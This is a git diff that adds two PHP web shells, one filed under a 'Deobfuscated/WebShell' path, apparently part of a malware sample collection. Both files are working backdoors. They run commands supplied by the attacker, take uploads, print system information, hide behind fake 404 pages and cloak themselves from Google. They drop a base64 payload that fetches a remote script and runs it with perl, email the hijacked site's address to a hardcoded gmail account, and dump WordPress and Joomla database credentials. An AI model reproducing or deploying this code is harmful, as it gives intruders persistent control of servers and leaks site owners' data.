+ $offset += (30 + strlen($current['name2']));
+ }
+ else if ($fp = @fopen($current['name'], "rb"))
+ {
+ $temp = fread($fp, $current['stat'][7]);
+ fclose($fp);
+ $crc32 = crc32($temp);
+ if (!isset($current['method']) && $this->options['method'] == 1)
+ {
+ $temp = gzcompress($temp, $this->options['level']);
+ $size = strlen($temp) - 6;
+ $temp = substr($temp, 2, $size);
+ }
+ else
+ $size = strlen($temp);
+ $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
+ $block .= $current['name2'];
+ $this->add_data($block);
+ $this->add_data($temp);
+ unset ($temp);
+ $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000,
+ (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate,
+ $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset);
+ $central .= $current['name2'];
+ $files++;
+ $offset += (30 + strlen($current['name2']) + $size);
+ }
+ else
+ $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
+ }
+
+ $this->add_data($central);
+
+ $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset,
+ !empty ($this->options['comment']) ? strlen($this->options['comment']) : 0x0000));
+
+ if (!empty ($this->options['comment']))
+ $this->add_data($this->options['comment']);
+
+ chdir($pwd);
+
+ return 1;
+ }
+}
+
+function copy_paste($c,$s,$d){
+ if(is_dir($c.$s)) {
+ mkdir($d.$s);
+ $h = @opendir($c.$s);
+ while (($f = @readdir($h)) !== false) {
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.DS,$f, $d.$s.DS);
+ }
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+}
+
+function system_custom($in) {
+
+ $out = '';
+ $system = false ;
+ if (cust_function_exists('exec')) {
+ $system = true ;
+ @exec($in,$out);
+ $out = @join("\n",$out);
+ } elseif (cust_function_exists('passthru')) {
+ $system = true ;
+ ob_start();
+ @passthru($in);
+ $out = ob_get_clean();
+ } elseif (cust_function_exists('system')) {
+ $system = true ;
+ ob_start();
+ @system($in);
+ $out = ob_get_clean();
+ } elseif (cust_function_exists('shell_exec')) {
+ $system = true ;
+ $out = shell_exec($in);
+ } elseif (is_resource($f = @popen($in,"r"))) {
+ $system = true ;
+ $out = "";
+ while(!@feof($f))
+ $out .= fread($f,1024);
+ pclose($f);
+ }
+
+ if($system) {
+ return $out;
+ }
+
+ $commands = explode(";", $in) ;
+
+ $out = '' ;
+ $path = '' ;
+
+ if($commands) {
+ foreach($commands as $command) {
+ $command_parts = explode(" ", $command) ;
+ $command_head = $command_parts[0] ;
+ $params = array() ;
+ if(count($command_parts) > 1) {
+ for($i=1;$i
1) {
+ $archive = new gzip_file($params[0]);
+ $archive->set_options(array('basedir' => $path, 'overwrite' => 1, 'level' => 1));
+ $archive->add_files(array($params[1]));
+ $archive->create_archive();
+ }
+ break;
+ case "zip":
+ if(class_exists('ZipArchive') && count($params) > 1) {
+ $zip = new ZipArchive();
+ if ($zip->open($params[0], 1)) {
+ foreach($params as $k=>$param) {
+ if($k == 0 || $param == '..')
+ continue;
+ if(@is_file($param))
+ $zip->addFile($param, $param);
+ elseif(@is_dir($param)) {
+ $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($param.DS));
+ foreach ($iterator as $key=>$value) {
+ $zip->addFile(realpath($key), $key);
+ }
+ }
+ }
+ $zip->close();
+ }
+ }
+ break;
+ case "unzip":
+ if(class_exists('ZipArchive') && count($params) > 0) {
+ $zip = new ZipArchive();
+ foreach($params as $k=>$param) {
+ if($zip->open($param)) {
+ $zip->extractTo($path);
+ $zip->close();
+ }
+ }
+ }
+ break;
+ case "cp":
+ smartCopy($params[0], $params[1]) ;
+ break;
+ case "mv":
+ @rename($params[0], $params[1]) ;
+ break;
+ case "rm":
+ foreach($params as $param) {
+ if(!preg_match("/^-/", $param)) {
+ if($param == '..')
+ continue;
+ $param = urldecode($param);
+ if(is_dir($param)) {
+ deleteDir($param);
+ } elseif(is_file($param)) {
+ @unlink($param);
+ }
+ }
+ }
+ break;
+ case "uname":
+ $out = php_uname(preg_replace("/^-/", "", $params[0])) ;
+ break;
+ case "find":
+ $out = scandir_rec($params[0], true, 1) ;
+ $out = implode("\n", $out) ;
+ break;
+ case "ls":
+ if(isset($params[0]) && $params[0] == '-F') {
+ $_path = $path ;
+ if(isset($params[1])) {
+ $_path = $params[1] ;
+ }
+ $out = glob($_path . '/*' , GLOB_ONLYDIR);
+ if(!empty($out)) {
+ foreach($out as $k=>$v) {
+ $out[$k] = preg_replace("/^" . preg_quote($_path.DS,DS) . "/","",$v) . DS ;
+ }
+ }
+ $out = implode("\n", $out) ;
+ } else {
+ $_path = $path ;
+ if(isset($params[1])) {
+ $_path = $params[1] ;
+ }
+ $out = glob($_path . '/*');
+ if(!empty($out)) {
+ foreach($out as $k=>$v) {
+ $out[$k] = preg_replace("/^" . preg_quote($path,DS) . "/","",$v) ;
+ }
+ }
+ $out = implode("\n", $out) ;
+ }
+ break;
+ case "mkdir":
+ @mkdir($params[0]) ;
+ break;
+ case "chmod":
+ @chmod($params[1], $params[0]) ;
+ break;
+ case "phpversion":
+ $out = phpversion() ;
+ break;
+ case "wso_version":
+ $out = "2.4";
+ break;
+ case "safemode":
+ $out = @ini_get('safe_mode') ;
+ break;
+ case 'pwd':
+ $out = getcwd() ;
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+ return $out ;
+
+}
+
+print "";
+print "Restricted
";
+print "Area
";
+print "
";
+
+if(isset($_POST['_cwd'])) {
+ $currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
+} else {
+ $currentWD = '' ;
+}
+if(isset($_POST['_cmd'])) {
+ $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
+} else {
+ $currentCMD = '' ;
+}
+
+$UName = system_custom('uname -a');
+$SCWD = system_custom('pwd');
+$UserID = system_custom('id');
+
+if( $currentWD == "" ) {
+ $currentWD = $SCWD;
+}
+
+print "";
+print "| ?: | ".(isset($_SERVER['REMOTE_HOST'])?$_SERVER['REMOTE_HOST']:"")." (".(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"").") |
";
+print "| s is: | ".(isset($_SERVER['SERVER_SIGNATURE'])?$_SERVER['SERVER_SIGNATURE']:"")." |
";
+print "| ce e?: | $UName |
";
+print "| wtf: | $UserID |
";
+print "
";
+
+print "
";
+
+if( isset($_POST['_act']) && $_POST['_act'] == "List files!" ) {
+ $currentCMD = "ls -la";
+}
+
+print "
";
+
+$currentCMD = str_replace("\\\"","\"",$currentCMD);
+$currentCMD = str_replace("\\\'","\'",$currentCMD);
+
+if( isset($_POST['_act']) && $_POST['_act'] == "Upload!" ) {
+ if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
+ print "Error while uploading file!";
+ } else {
+ print "";
+ if(!@move_uploaded_file($_FILES['_upl']['tmp_name'], $currentWD."/".$_FILES['_upl']['name'])) {
+ $out = system_custom("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
+ }
+ echo $out ;
+ print "File uploaded successfully!";
+ }
+} else {
+ print "\n\n\n\n";
+ $currentCMD = "cd ".$currentWD.";".$currentCMD;
+ $out = system_custom($currentCMD);
+ echo $out ;
+ print "\n
\n\n\n
Command completed";
+}
+
+exit;
+
+?>
diff --git a/Deobfuscated/WebShell_b8b880447058dcacd60ab52be80279e32f9cdaeb.php b/Deobfuscated/WebShell_b8b880447058dcacd60ab52be80279e32f9cdaeb.php
new file mode 100644
index 0000000..378e78d
--- /dev/null
+++ b/Deobfuscated/WebShell_b8b880447058dcacd60ab52be80279e32f9cdaeb.php
@@ -0,0 +1,506 @@
+user = get_current_user();
+ $this->os = $this->check("os");
+ $this->type = $this->check("cmd");
+ if (!isset($_GET['1180'])) {
+ if (isset($_GET['x1'])) {
+ $this->form();
+ echo ($this->os == "windows") ? '' . $this->exe('dir') . '' : '' . $this->exe('ls -la') . '';
+ } else {
+ header("HTTP/1.0 404 Not Found");
+ header("Status: 404 Not Found");
+ echo "Error 404 Not Found
";
+ echo "The page that you have requested could not be found.";
+ die();
+ exit();
+ }
+ } else {
+ if (isset($_GET['x'])) {
+ switch ($_GET['x']) {
+ case 'get':
+ if (isset($_GET['file'])) {
+ $file = urldecode($_GET['file']);
+ $name = (isset($_GET['name'])) ? $_GET['name'] : "px.php";
+ $code = file_get_contents($file);
+ $myfile = fopen($name, "w+");
+ fwrite($myfile, $code);
+ fclose($myfile);
+ }
+ break;
+ case 'plbot':
+ $this->plBot();
+ break;
+ case 'clear':
+ $this->delete("px.php");
+ $this->delete("pl.php");
+ break;
+ case 'read':
+ if (isset($_GET['path'])) {
+ $path = urldecode($_GET['path']);
+ $this->setDB($path);
+ }
+ break;
+ case 'jdb':
+ $this->joomlaDb();
+ break;
+ case 'wpdb':
+ $this->wpDb();
+ break;
+ case 'mail':
+ $mail = (isset($_GET['to'])) ? urldecode($_GET['to']) : "setoran.target26@gmail.com";
+ $host = $_SERVER["HTTP_HOST"];
+ $uri = $_SERVER["REQUEST_URI"];
+ $serv = gethostbyname($_SERVER['SERVER_ADDR']);
+ $addr = gethostbyname($_SERVER['REMOTE_ADDR']);
+ mail($mail, "kiriman bos " . $host . $uri, "Url:" . $host . $uri . " nIp :$servn Ip injector: $addr");
+ break;
+ case 'clone':
+ if (isset($_GET['path'])) {
+ $path = urldecode($_GET['path']);
+ if (strstr($path, ",")) {
+ $data = explode(",", $path);
+ if (is_array($data) && count($data) > 0) {
+ $data = array_filter($data);
+ if (count($data) > 0) {
+ foreach ($data as $k) {
+ $this->setClone($k);
+ }
+ }
+ }
+ } else {
+ $path = urldecode($_GET['path']);
+ $this->setClone($path);
+ }
+ } else {
+ $this->setClone('../.inc.php');
+ $this->setClone('../../.inc.php');
+ }
+ break;
+ case 'patch':
+ $lock = (isset($_GET['lock'])) ? 1 : 0;
+ $force = (isset($_GET['force'])) ? 1 : 0;
+ $path = "";
+ if (isset($_GET['path'])) {
+ $path = urldecode($_GET['path']);
+ if (strstr($path, ",")) {
+ $path = explode(",", $path);
+ }
+ }
+ if (isset($_GET['allow'])) {
+ $files = urldecode($_GET['allow']);
+ if (strstr($files, ",")) {
+ $file = explode(",", $files);
+ $this->setPatch($user, $file, $lock, $path, $force);
+ } else {
+ $this->setPatch($user, $files, $lock, $path, $force);
+ }
+ } else {
+ $this->setPatch($user, "", $lock, $path, $force);
+ }
+ break;
+ case 'chmod':
+ if (isset($_GET['dir'])) {
+ $dir = $_GET['dir'];
+ if ($dir == 1) {
+ chmod("./", 0555);
+ } else if ($dir == 2) {
+ chmod("./", 0555);
+ chmod("../", 0555);
+ } else if ($dir == 3) {
+ chmod("./", 0555);
+ chmod("../", 0555);
+ chmod("../../", 0555);
+ } else {
+ $dir = str_replace("|", "/", $dir);
+ chmod($dir, 0555);
+ }
+ }
+ break;
+ case 'die':
+ $source = $_SERVER['SCRIPT_FILENAME'];
+ @unlink($source);
+ break;
+ }
+ } else {
+ if (isset($_GET['del'])) {
+ $del = $_GET['del'];
+ if (strstr($del, ",")) {
+ $data = explode(",", $del);
+ if (is_array($data) && count($data) > 0) {
+ $data = array_filter($data);
+ foreach ($data as $k) {
+ $this->delete($k);
+ }
+ }
+ } else {
+ $this->delete($del);
+ }
+ }
+ $this->getForm();
+ }
+ }
+ }
+ private function plBot() {
+ $code = "PD9waHANCiR1cmwgPSAoaXNzZXQoJF9HRVRbJ3VybCddKSkgPyB1cmxkZWNvZGUoJF9HRVRbJ3VybCddKSA6ICJodHRwOi8vd3d3LmhvdGVscmlzdG9yYW50ZWxlcGFudG8uaXQvZm9ybS8vLi4uL3JvYm90LnR4
+
+dCI7DQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCglAZXhlYygnd2dldCAnLiR1cmwuJyAtTyByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQGV
+
+4ZWMoJ2N1cmwgJy4kdXJsLicgLW8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBleGVjKCdsd3AtZG93bmxvYWQgLWEgJy4kdXJsLicgcm9ib3QudHh0O3
+
+Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBleGVjKCdseW54IC1zb3VyY2UgJy4kdXJsLicgPiByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gL
+
+WZyIHJvYioudHh0Jyk7DQoJQGV4ZWMoJ2ZldGNoIC1vIHJvYm90LnR4dCAnLiR1cmwuJztwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAZXhlYygnR0VUICcuJHVybC4nID5y
+
+b2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQGV4ZWMoJ3JtIC1yZiByb2IqLnR4dCcpOw0KCUBleGVjKCdjZCAvdG1wO3dnZXQgJy4kdXJsLicgLU8gcm9ib3Q
+
+udHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBleGVjKCdjZCAvdG1wO2N1cmwgJy4kdXJsLic7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYi
+
+oudHh0Jyk7DQoJQGV4ZWMoJ2NkIC90bXA7bHdwLWRvd25sb2FkIC1hICcuJHVybC4nIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAZXhlYygnY2QgL3Rtc
+
+DtseW54IC1zb3VyY2UgJy4kdXJsLicgPiByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQGV4ZWMoJ2NkIC90bXA7ZmV0Y2ggLW8gcm9ib3QudHh0ICcuJHVy
+
+bC4nO3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBleGVjKCdjZCAvdG1wO0dFVCAnLiR1cmwuJyA
+
++cm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBleGVjKCdybSAtcmYgaW5kZXgucGhwLionKTsNCglAZXhlYygnY2QgL3RtcDtybSAtcmYgcm9iKi50eHQnKT
+
+sNCglAZXhlYygncm0gLXJmIHJvYioudHh0Jyk7DQoJQGV4ZWMoJ2NkIC90bXA7cm0gLXJmIHJvYioudHh0KicpOw0KCUBleGVjKCdybSAtcmYgcm9iKi50eHQqJyk7DQp9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZ
+
+WxsX2V4ZWMnKSl7DQoJQHNoZWxsX2V4ZWMoJ3dnZXQgJy4kdXJsLicgLU8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzaGVsbF9leGVjKCdjdXJsICcu
+
+JHVybC4nIC1vIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnbHdwLWRvd25sb2FkIC1hICcuJHVybC4nIHJvYm90LnR4dDtwZXJsIHJ
+
+vYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnbHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC
+
+1mciByb2IqLnR4dCcpOw0KCUBzaGVsbF9leGVjKCdmZXRjaCAtbyByb2JvdC50eHQgJy4kdXJsLic7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHNoZWxsX2V4ZWMoJ0dFV
+
+CAnLiR1cmwuJyA
+
++cm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzaGVsbF9leGVjKCdybSAtcmYgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnY2QgL3RtcDt3Z2V0ICcuJH
+
+VybC4nIC1PIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnY2QgL3RtcDtjdXJsICcuJHVybC4nO3Blcmwgcm9ib3QudHh0O3Blcmwgc
+
+m9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzaGVsbF9leGVjKCdjZCAvdG1wO2x3cC1kb3dubG9hZCAtYSAnLiR1cmwuJyByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJv
+
+YioudHh0Jyk7DQoJQHNoZWxsX2V4ZWMoJ2NkIC90bXA7bHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzaGVsbF9
+
+leGVjKCdjZCAvdG1wO2ZldGNoIC1vIHJvYm90LnR4dCAnLiR1cmwuJztwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnY2QgL3RtcDtHRVQgJy4kdXJsLi
+
+cgPnJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygnY2QgL3RtcDtybSAtcmYgaW5kZXgucGhwLionKTsNCglAc2hlbGxfZXhlYygnY2QgL
+
+3RtcDtybSAtcmYgcm9iKi50eHQnKTsNCglAc2hlbGxfZXhlYygncm0gLXJmIHJvYioudHh0Jyk7DQoJQHNoZWxsX2V4ZWMoJ2NkIC90bXA7cm0gLXJmIHJvYioudHh0KicpOw0KCUBzaGVsbF9leGVjKCdybSAtcmYgcm9i
+
+Ki50eHQqJyk7DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KCUBzeXN0ZW0oJ3dnZXQgJy4kdXJsLicgLU8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2I
+
+qLnR4dCcpOw0KCUBzeXN0ZW0oJ2N1cmwgJy4kdXJsLicgLW8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzeXN0ZW0oJ2x3cC1kb3dubG9hZCAtYSAnLi
+
+R1cmwuJyByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHN5c3RlbSgnbHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O
+
+3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzeXN0ZW0oJ2ZldGNoIC1vIHJvYm90LnR4dCAnLiR1cmwuJztwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglA
+
+c3lzdGVtKCdHRVQgJy4kdXJsLic7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHN5c3RlbSgncm0gLXJmIHJvYioudHh0Jyk7DQoJQHN5c3RlbSgnY2QgL3RtcDt3Z2V0ICc
+
+uJHVybC4nIC1PIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdjZCAvdG1wO2N1cmwgJy4kdXJsLicgLW8gcm9ib3QudHh0O3Blcmwgcm9ib3
+
+QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBzeXN0ZW0oJ2NkIC90bXA7bHdwLWRvd25sb2FkIC1hICcuJHVybC4nIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtyb
+
+SAtZnIgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdjZCAvdG1wO2x5bnggLXNvdXJjZSAnLiR1cmwuJyA
+
++IHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdjZCAvdG1wO2ZldGNoIC1vIHJvYm90LnR4dCAnLiR1cmwuJztwZXJsIHJvYm90LnR4dDtwZX
+
+JsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdjZCAvdG1wO0dFVCAnLiR1cmwuJztwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdyb
+
+SAtcmYgcm9iKi50eHQnKTsNCglAc3lzdGVtKCdjZCAvdmFyL3RtcDtybSAtcmYgaW5kZXgucGhwLionKTsNCglAc3lzdGVtKCdjZCAvdG1wO3JtIC1yZiByb2IqLnR4dCcpOw0KCUBzeXN0ZW0oJ2NkIC90bXA7cm0gLXJm
+
+IHJvYioudHh0KicpOw0KfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXsNCglAcGFzc3RocnUoJ3dnZXQgJy4kdXJsLicgLU8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3J
+
+tIC1mciByb2IqLnR4dCcpOw0KCUBwYXNzdGhydSgnY3VybCAnLiR1cmwuJyAtbyByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHBhc3N0aHJ1KCdsd3AtZG
+
+93bmxvYWQgLWEgJy4kdXJsLicgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXNzdGhydSgnbHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O
+
+3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXNzdGhydSgnZmV0Y2ggLW8gcm9ib3QudHh0ICcuJHVybC4nIDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAt
+
+ZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ0dFVCAnLiR1cmwuJyA
+
++cm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXNzdGhydSgncm0gLXJmIHJvYioudHh0Jyk7DQoJQHBhc3N0aHJ1KCdjZCAvdG1wO3dnZXQgJy4kdXJsLi
+
+cgLU8gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXNzdGhydSgnY2QgL3RtcDtjdXJsICcuJHVybC4nIC1vIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4d
+
+DtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ2NkIC90bXA7bHdwLWRvd25sb2FkIC1hICcuJHVybC4nIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAt
+
+ZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ2NkIC90bXA7bHlueCAtc291cmNlICcuJHVybC4nID4gcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3Blcmwgcm9ib3QudHh0O3JtIC1mciByb2IqLnR4dCcpOw0KCUBwYXN
+
+zdGhydSgnY2QgL3RtcDtmZXRjaCAtbyByb2JvdC50eHQgJy4kdXJsLic7cGVybCByb2JvdC50eHQ7cGVybCByb2JvdC50eHQ7cm0gLWZyIHJvYioudHh0Jyk7DQoJQHBhc3N0aHJ1KCdjZCAvdG1wO0dFVCAnLiR1cmwuJz
+
+twZXJsIHJvYm90LnR4dDtwZXJsIHJvYm90LnR4dDtybSAtZnIgcm9iKi50eHQnKTsNCglAcGFzc3RocnUoJ3JtIC1yZiBpbmRleC5waHAuKicpOw0KCUBwYXNzdGhydSgncm0gLXJmIHJvYioudHh0Jyk7DQoJQHBhc3N0a
+
+HJ1KCdybSAtcmYgcm9iKi50eHQqJyk7DQp9DQo/Pg==";
+ $code2 = base64_decode($code);
+ $myfile = fopen("pl.php", "w+");
+ fwrite($myfile, $code2);
+ fclose($myfile);
+ }
+ private function check($tipe) {
+ if ($tipe == "cmd") {
+ $result = 0;
+ if (function_exists('passthru')) {
+ $result = "passthru";
+ } elseif (function_exists('system')) {
+ $result = "system";
+ } elseif (function_exists('exec')) {
+ $result = "exec";
+ } elseif (function_exists('shell_exec')) {
+ $result = "shell_exec";
+ }
+ } else {
+ $result = "linux";
+ if (PHP_OS == "WINNT") {
+ $result = "windows";
+ } elseif (PHP_OS == "Linux") {
+ $result = "linux";
+ } elseif (PHP_OS == "FreeBSD") {
+ $result = "freebsd";
+ }
+ }
+ return $result;
+ }
+ private function getForm() {
+ $this->form();
+ if (isset($_GET['start'])) {
+ echo "";
+ $this->processForm();
+ $this->cmd();
+ } else {
+ $this->cmd();
+ }
+ }
+ private function form() {
+ if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false) {
+ header('HTTP/1.0 404 Not Found');
+ echo "Error 404 Not Found
";
+ echo "The page that you have requested could not be found.";
+ exit();
+ }
+ $safe = @ini_get('safe_mode');
+ $secure = (!$safe) ? "SAFE_MODE : OFF roin" : "SAFE_MODE : ON roin";
+ echo "";
+ echo "Touched By roin
";
+ echo "" . $secure . "
";
+ $cur_user = "(" . $this->user . ")";
+ echo "User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "
";
+ echo "Uname : " . php_uname() . "
";
+ }
+ private function processForm() {
+ if (isset($_POST['submit'])) {
+ $uploaddir = $this->pwd();
+ if (!$name = $_POST['newname']) {
+ $name = $_FILES['userfile']['name'];
+ }
+ move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
+ echo (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) ? "!!Upload Failed" : "Success Upload to " . $uploaddir . $name;
+ }
+ }
+ private function pwd() {
+ $cwd = getcwd();
+ if ($u = strrpos($cwd, '/')) {
+ return ($u != strlen($cwd) - 1) ? $cwd . '/' : $cwd;
+ } elseif ($u = strrpos($cwd, '/')) {
+ if ($u != strlen($cwd) - 1) {
+ return $cwd . '/';
+ } else {
+ return $cwd;
+ }
+ }
+ }
+ private function cmd($cmd = false) {
+ if ($cmd) {
+ echo '' . $this->exe($cmd) . '
';
+ } else {
+ if (isset($_GET['q'])) {
+ echo '' . $this->exe($_GET['q']) . '
';
+ } else {
+ echo ($this->os == "windows") ? '' . $this->exe('dir') . '' : '' . $this->exe('ls -la') . '';
+ }
+ }
+ }
+ private function exe($cmd) {
+ $res = '';
+ if ($this->type == "exec") {
+ @exec($cmd, $res);
+ $res = join("n", $res);
+ } elseif ($this->type == "shell_exec") {
+ $res = @shell_exec($cmd);
+ } elseif ($this->type == "system") {
+ @ob_start();
+ @system($cmd);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ } elseif ($this->type == "passthru") {
+ @ob_start();
+ @passthru($cmd);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return $res;
+ }
+ private function setPatch($user, $data, $lock, $path, $force) {
+ $create = 1;
+ if (!$force) {
+ if (in_array($user, $this->access)) {
+ $create = 0;
+ }
+ }
+ if ($create) {
+ if ($lock) {
+ $i = 'deny from all' . PHP_EOL;
+ } else {
+ $i = '' . PHP_EOL;
+ $i.= 'deny from all' . PHP_EOL;
+ $i.= '' . PHP_EOL;
+ }
+ if (is_array($data)) {
+ foreach ($data as $k) {
+ $i.= '' . PHP_EOL;
+ $i.= 'Order Allow,Deny' . PHP_EOL;
+ $i.= 'Allow from all' . PHP_EOL;
+ $i.= '' . PHP_EOL;
+ }
+ } else {
+ if (!empty($data)) {
+ $i.= '' . PHP_EOL;
+ $i.= 'Order Allow,Deny' . PHP_EOL;
+ $i.= 'Allow from all' . PHP_EOL;
+ $i.= '' . PHP_EOL;
+ } else {
+ $i.= '' . PHP_EOL;
+ $i.= 'Order Allow,Deny' . PHP_EOL;
+ $i.= 'Allow from all' . PHP_EOL;
+ $i.= '' . PHP_EOL;
